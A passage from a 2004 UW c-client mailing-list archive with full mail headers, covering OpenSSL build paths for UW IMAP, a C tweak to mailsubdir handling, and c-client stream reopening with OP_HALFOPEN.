__HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN * Guillaume Chartrand [2004-11-26 09:43:29 -0500]: > But I have openssl installed by default with my distribution. I think he > search the openssl on /usr/local/include But in my system it's on /usr/include You've answered your own question - UW IMAP doesn't know where to look for your SSL libs. From the SSLBUILD doc: 3) Make sure that you know how to build OpenSSL properly on the standard /usr/local/ssl directory. In particular, /usr/local/ssl/include (and /usr/local/ssl/include/openssl) and /usr/local/ssl/lib must be set up from the OpenSSL build. If you have a non-standard installation, then you must modify the imap-2002a/src/osdep/unix/Makefile file to point to the appropriate locations. Either modify your Makefile (as suggested above) to point to the right location, or pass the appropriate arguments (i.e. SSLDIR=/path/to/location") in the make command itself. -- Sahil Tandon From pinedev@shivax2.cac.washington.edu Tue Nov 30 14:02:38 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 30 Nov 2004 14:02:38 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAUM2cnu021894 for ; Tue, 30 Nov 2004 14:02:38 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAUM2bcq028427 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 30 Nov 2004 14:02:37 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iAUM2SMi014012; Tue, 30 Nov 2004 14:02:28 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAUM0mRg024162 for ; Tue, 30 Nov 2004 14:00:48 -0800 Received: from clas.ufl.edu (minotaur.clas.ufl.edu [128.227.148.248]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAUM0gw2008619 for ; Tue, 30 Nov 2004 14:00:43 -0800 Received: from clas.ufl.edu (diashi.clas.ufl.edu [128.227.148.244]) by clas.ufl.edu (8.11.7p1+Sun/8.11.7/clas1.22) with ESMTP id iAUM0f322395; Tue, 30 Nov 2004 17:00:41 -0500 (EST) Message-Id: <200411302200.iAUM0f322395@clas.ufl.edu> Date: Tue, 30 Nov 2004 17:00:41 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dallas N Antley To: c-client@u.washington.edu Subject: setting *mailsubdir only if not set via client? X-Sender: dna@clas.ufl.edu X-Envelope-From: dna@clas.ufl.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __HAS_MSGID 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Short question: Can the *mailsubdir string be appended if, and only if, an IMAP client folder LIST doesn't include a directory? If not, can anyone think of a method to strip off a directory name included in a LIST command? Current system: Solaris 8/SPARC, using imap-2004b.DEV.SNAP-0411051435. *mailsubdir= NIL; *sysinbox = ... sprintf (tmp,"%s/.mail",myhomedir ()); I've been using IMAP for a long time (since 1998), and I have a remarkable variety of "vintage" IMAP clients. At the time, UW-IMAP didn't support the *mailsubdir option, so I configured the on-campus mail clients to store their folders in "Mail/". With the current Mozilla clients, this option is called the "IMAP Server Directory". Unfortunately, I now have a number of users who have mis-configured their home Mozilla/Netscape clients, and who haven't set this directory. Thus, they can't see their on-campus mailboxes, or delete Unix-side files in $HOME, etc. Since I can't enforce client-side options before they connect to the IMAP server, I need to change the IMAP server's default mail directory to "Mail/". I've looked at the code in src/osdep/unix/env_unix.c, the *mailsubdir variable, and and the mymailboxdir() function. If I set the string to "Mail", it will always prepend the subdirectory to the path. This may work fine with the misconfigured clients, but then the rest of the mail clients would be looking in "Mail/Mail" for their folders, which won't work. While I can modify these on-campus client configs, it will take some time. I need an interim solution where I could have both "" and "Mail" map to the same mailboxes. Can anyone make a suggestion on how I can make both of these work? I've been toying with DoveCot 1.0 and using its "private namespace" feature, but I don't think it's ready for large-scale use just yet. Thank you for any ideas you can provide. Dallas -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Nov 30 14:16:52 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 30 Nov 2004 14:16:52 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAUMGqGP022468 for ; Tue, 30 Nov 2004 14:16:52 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAUMGpF4029045 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 30 Nov 2004 14:16:51 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iAUMGiFW018034; Tue, 30 Nov 2004 14:16:44 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAUMFopW056132 for ; Tue, 30 Nov 2004 14:15:50 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAUMFnji018387 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 30 Nov 2004 14:15:50 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAUMFnPu012347; Tue, 30 Nov 2004 14:15:49 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.11) with ESMTP id iAUMFmMq017962 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 30 Nov 2004 14:15:48 -0800 Message-Id: Date: Tue, 30 Nov 2004 14:17:52 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Dallas N Antley Cc: c-client@u.washington.edu Subject: Re: setting *mailsubdir only if not set via client? In-Reply-To: <200411302200.iAUM0f322395@clas.ufl.edu> References: <200411302200.iAUM0f322395@clas.ufl.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN In my opinion, it's better to leave things alone and allow people to use Mail/ or whatever other subdirectory name they want. For all you know, some power user may want to reference his home directory. If you really want to go ahead with your intended strategy, then do something like the following early in routine mailboxfile(): size_t i = mailsubdir ? strlen (mailsubdir) : 0; if (i && !strncmp (name,mailsubdir,i) && (name[i] == '/')) name += i + 1; -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Nov 30 17:40:43 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 30 Nov 2004 17:40:43 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB11eg87030489 for ; Tue, 30 Nov 2004 17:40:42 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB11efNw005151 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 30 Nov 2004 17:40:42 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB11eVVb019396; Tue, 30 Nov 2004 17:40:31 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB11dLpd015048 for ; Tue, 30 Nov 2004 17:39:21 -0800 Received: from clas.ufl.edu (minotaur.clas.ufl.edu [128.227.148.248]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB11dKuI001985 for ; Tue, 30 Nov 2004 17:39:20 -0800 Received: from clas.ufl.edu (mail.clas.ufl.edu [128.227.148.252]) by clas.ufl.edu (8.11.7p1+Sun/8.11.7/clas1.22) with ESMTP id iB11dI314233; Tue, 30 Nov 2004 20:39:19 -0500 (EST) Message-Id: <200412010139.iB11dI314233@clas.ufl.edu> Date: Tue, 30 Nov 2004 20:39:18 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dallas N Antley To: c-client@u.washington.edu Subject: Re: setting *mailsubdir only if not set via client? In-Reply-To: Your message of "Tue, 30 Nov 2004 14:17:52 PST." X-Sender: dna@clas.ufl.edu X-Envelope-From: dna@clas.ufl.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN /- On Tuesday (11/30/2004 14:17) Mark Crispin wrote: > In my opinion, it's better to leave things alone and allow people to use > Mail/ or whatever other subdirectory name they want. For all you know, > some power user may want to reference his home directory. I agree with you. However, I'd rather the power-user go through the effort of configuring their "IMAP Server Directory" to something like "~/" or some private namespace to get full access. I'm getting tired of restoring some less-experienced person's research files that they accidentally deleted via IMAP. Plus, we're looking to go to a black-box mode, so we need to phase out the client-side directory setting anyways. I'd prefer not to have to break both the clients and the server at the same time. Thanks for the recommendation. I'll try that out. Dallas > If you really want to go ahead with your intended strategy, then do > something like the following early in routine mailboxfile(): > > size_t i = mailsubdir ? strlen (mailsubdir) : 0; > if (i && !strncmp (name,mailsubdir,i) && (name[i] == '/')) name += i + 1; > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Dec 1 02:34:40 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 1 Dec 2004 02:34:40 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB1AYeUR016951 for ; Wed, 1 Dec 2004 02:34:40 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB1AYdbj023066 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 1 Dec 2004 02:34:39 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB1AYRjT016858; Wed, 1 Dec 2004 02:34:27 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB1AX8d8057486 for ; Wed, 1 Dec 2004 02:33:09 -0800 Received: from mail3.bluewin.ch (mail3.bluewin.ch [195.186.1.75]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB1AX7wt008738 for ; Wed, 1 Dec 2004 02:33:08 -0800 Received: from localhost (83.77.194.250) by mail3.bluewin.ch (Bluewin AG 7.0.030.2) id 41862FF200318C82 for c-client@u.washington.edu; Wed, 1 Dec 2004 10:33:07 +0000 Received: from tpo2 (helo=localhost) by localhost with local-esmtp (Exim 3.36 #1 (Debian)) id 1CZRnG-0001Pm-00 for ; Wed, 01 Dec 2004 11:33:06 +0100 Message-Id: Date: Wed, 1 Dec 2004 11:33:06 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Tomas Pospisek's Mailing Lists" To: c-client@u.washington.edu Subject: reopening a stream with OP_HALFOPEN MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-X-Sender: tpo2@localhost X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I've got reports [1] against Debian's version of c-client 2002e that when opening a stream, that is not OP_HALFOPEN (such as OP_READONLY or NIL), c-client will actually close and open the stream again (thus requiring the user to re-authenticate). Is this: * a known problem? * a feature with a rationale? * fixed in c-client 2004? Any other comment? *t [1] http://bugs.debian.org/257418 -- ----------------------------------------------------------- Tomas Pospisek http://sourcepole.com - Linux & Open Source Solutions ----------------------------------------------------------- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Dec 1 08:40:00 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 1 Dec 2004 08:39:59 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB1GdxT1027794 for ; Wed, 1 Dec 2004 08:39:59 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB1Gdwmn003799 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 1 Dec 2004 08:39:59 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB1GdljO015158; Wed, 1 Dec 2004 08:39:48 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB1GcP3I026696 for ; Wed, 1 Dec 2004 08:38:25 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB1GcOr6027444 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 1 Dec 2004 08:38:24 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout3.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB1GcNFb013892; Wed, 1 Dec 2004 08:38:24 -0800 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB1GcN6h012834; Wed, 1 Dec 2004 08:38:23 -0800 Message-Id: Date: Wed, 1 Dec 2004 08:38:23 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Tomas Pospisek's Mailing Lists" Cc: c-client@u.washington.edu Subject: Re: reopening a stream with OP_HALFOPEN In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 1 Dec 2004, Tomas Pospisek's Mailing Lists wrote: > I've got reports [1] against Debian's version of c-client 2002e that when > opening a stream, that is not OP_HALFOPEN (such as OP_READONLY or NIL), > c-client will actually close and open the stream again (thus requiring the > user to re-authenticate). I assume that you're talking about recycling an already-open stream? A close and open will happen if c-client determines that the new mailbox name is not compatible with the existing stream. If you recycle a non-halfopen stream, and decide that you want the stream to be halfopen now, a close/open is required unless the server supports the UNSELECT capability. That's the only reliable way to get a halfopen session if the server does not have UNSELECT. If you don't care if the stream is halfopen or not, then you probably should not call mail_open() with the OP_HALFOPEN flag to recycle the stream. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Dec 1 09:11:23 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 1 Dec 2004 09:11:23 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB1HBMpN029149 for ; Wed, 1 Dec 2004 09:11:22 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB1HBLdE025224 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 1 Dec 2004 09:11:22 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB1HBCHh015332; Wed, 1 Dec 2004 09:11:13 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB1HAE6A093494 for ; Wed, 1 Dec 2004 09:10:14 -0800 Received: from mail21.bluewin.ch (mail21.bluewin.ch [195.186.18.66]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB1HADLW013831 for ; Wed, 1 Dec 2004 09:10:13 -0800 Received: from localhost (62.203.68.44) by mail21.bluewin.ch (Bluewin AG 7.0.032) id 41868E0700167479 for c-client@u.washington.edu; Wed, 1 Dec 2004 17:10:12 +0000 Received: from tpo2 (helo=localhost) by localhost with local-esmtp (Exim 3.36 #1 (Debian)) id 1CZXzX-0007qc-00 for ; Wed, 01 Dec 2004 18:10:11 +0100 Message-Id: Date: Wed, 1 Dec 2004 18:10:11 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Tomas Pospisek's Mailing Lists" To: c-client@u.washington.edu Subject: Re: reopening a stream with OP_HALFOPEN In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-X-Sender: tpo2@localhost X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 1 Dec 2004, Mark Crispin wrote: > On Wed, 1 Dec 2004, Tomas Pospisek's Mailing Lists wrote: >> I've got reports [1] against Debian's version of c-client 2002e that when >> opening a stream, that is not OP_HALFOPEN (such as OP_READONLY or NIL), >> c-client will actually close and open the stream again (thus requiring the >> user to re-authenticate). > > I assume that you're talking about recycling an already-open stream? Yes. > A close and open will happen if c-client determines that the new mailbox name > is not compatible with the existing stream. > > If you recycle a non-halfopen stream, and decide that you want the stream to > be halfopen now, a close/open is required unless the server supports the > UNSELECT capability. That's the only reliable way to get a halfopen session > if the server does not have UNSELECT. > > If you don't care if the stream is halfopen or not, then you probably should > not call mail_open() with the OP_HALFOPEN flag to recycle the stream. I'm looking at messages in readonly mode in order to determine which ones need to be synchronized between two sites. Then I'm flagging those as deleted that have been removed on one side. After that I'm appending new messages to mailboxes at both sides. In order to do this without having the "Status: O" set by c-client I need to change "down" into OP_HALFOPEN mode. Thanks for the answer! *t -- ----------------------------------------------------------- Tomas Pospisek http://sourcepole.com - Linux & Open Source Solutions ----------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Wed Dec 1 09:19:41 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 1 Dec 2004 09:19:41 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB1HJfEF029506 for ; Wed, 1 Dec 2004 09:19:41 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB1HJejv005833 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 1 Dec 2004 09:19:41 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB1HJXRT011274; Wed, 1 Dec 2004 09:19:33 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB1HJ4aq014906 for ; Wed, 1 Dec 2004 09:19:04 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB1HJ3lK011110 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 1 Dec 2004 09:19:04 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB1HJ3jS004123; Wed, 1 Dec 2004 09:19:03 -0800 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.11) with ESMTP id iB1HIvQj004158 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Wed, 1 Dec 2004 09:19:02 -0800 Message-Id: Date: Wed, 1 Dec 2004 09:18:56 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Tomas Pospisek's Mailing Lists" Cc: c-client@u.washington.edu Subject: Re: reopening a stream with OP_HALFOPEN In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@Ikkoku-Kan.Panda.COM X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 1 Dec 2004, Tomas Pospisek's Mailing Lists wrote: > I'm looking at messages in readonly mode in order to determine which ones > need to be synchronized between two sites. > Then I'm flagging those as deleted that have been removed on one side. > After that I'm appending new messages to mailboxes at both sides. In order to > do this without having the "Status: O" set by c-client I need to change > "down" into OP_HALFOPEN mode. Thanks for explaining so clearly what you're doing. I understand the issue. If the mailbox is opened readonly then there shouldn't be any "Status: O" set. c-client doesn't do this; the IMAP server does. If one of the IMAP servers is UW imapd, then indeed "Status: O" will happen when messages are appended to a mailbox that is open readwrite, since the readwrite session will see the messages. But that won't happen if it's open readonly. So, if "Status: O" is being written then I think that must be something that is happening in some other server. Or perhaps you don't really have the mailbox open readonly (perhaps because you don't always see new mail in readonly sessions). Anyway, the correct long-term fix is to upgrade to servers that support UNSELECT. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. From pinedev@shivax2.cac.washington.edu Wed Dec 1 10:00:55 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 1 Dec 2004 10:00:55 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB1I0s40031254 for ; Wed, 1 Dec 2004 10:00:54 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB1I0rMu027340 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 1 Dec 2004 10:00:54 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB1I0jI4019972; Wed, 1 Dec 2004 10:00:45 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB1HxcGK092162 for ; Wed, 1 Dec 2004 09:59:38 -0800 Received: from mail3.bluewin.ch (mail3.bluewin.ch [195.186.1.75]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB1HxaYA029350 for ; Wed, 1 Dec 2004 09:59:37 -0800 Received: from localhost (62.203.68.44) by mail3.bluewin.ch (Bluewin AG 7.0.030.2) id 41862FF200326AFE for c-client@u.washington.edu; Wed, 1 Dec 2004 17:59:36 +0000 Received: from tpo2 (helo=localhost) by localhost with local-esmtp (Exim 3.36 #1 (Debian)) id 1CZYlL-0008Mr-00 for ; Wed, 01 Dec 2004 18:59:35 +0100 Message-Id: Date: Wed, 1 Dec 2004 18:59:35 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Tomas Pospisek's Mailing Lists" To: c-client@u.washington.edu Subject: Re: reopening a stream with OP_HALFOPEN In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-X-Sender: tpo2@localhost X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 1 Dec 2004, Mark Crispin wrote: > On Wed, 1 Dec 2004, Tomas Pospisek's Mailing Lists wrote: >> I'm looking at messages in readonly mode in order to determine which ones >> need to be synchronized between two sites. >> Then I'm flagging those as deleted that have been removed on one side. >> After that I'm appending new messages to mailboxes at both sides. In order >> to do this without having the "Status: O" set by c-client I need to change >> "down" into OP_HALFOPEN mode. > > Thanks for explaining so clearly what you're doing. I understand the issue. > > If the mailbox is opened readonly then there shouldn't be any "Status: O" > set. c-client doesn't do this; the IMAP server does. If one of the IMAP > servers is UW imapd, then indeed "Status: O" will happen when messages are > appended to a mailbox that is open readwrite, since the readwrite session > will see the messages. But that won't happen if it's open readonly. > > So, if "Status: O" is being written then I think that must be something that > is happening in some other server. Or perhaps you don't really have the > mailbox open readonly (perhaps because you don't always see new mail in > readonly sessions). > > Anyway, the correct long-term fix is to upgrade to servers that support > UNSELECT. This is not an option since the tool I maintain (mailsync) wants to allow the user to access all forms of mailboxes uniformly, be they IMAP servers with or without UNSELECT or any kind of local mailboxes... ... but - are you saying that I don't even need to change into HALFOPEN mode in order to be able to append messages to any kind of mailbox without the "Status: O" flag being set? That I just have to keep the stream in READONLY mode? I seem to remember you've told me otherwise last time I asked but I can't dig up the mail in question (here [1] is one such email, but it doesn't talk about READONLY). Thanks again, *t [1] http://www.mail-archive.com/c-client@u.washington.edu/msg00220.html PS: I'd be nice to link to that searchable online archive from the UW c-client page. -- ----------------------------------------------------------- Tomas Pospisek http://sourcepole.com - Linux & Open Source Solutions ----------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Wed Dec 1 10:17:37 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 1 Dec 2004 10:17:37 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB1IHbjw032114 for ; Wed, 1 Dec 2004 10:17:37 -0800 Received: from 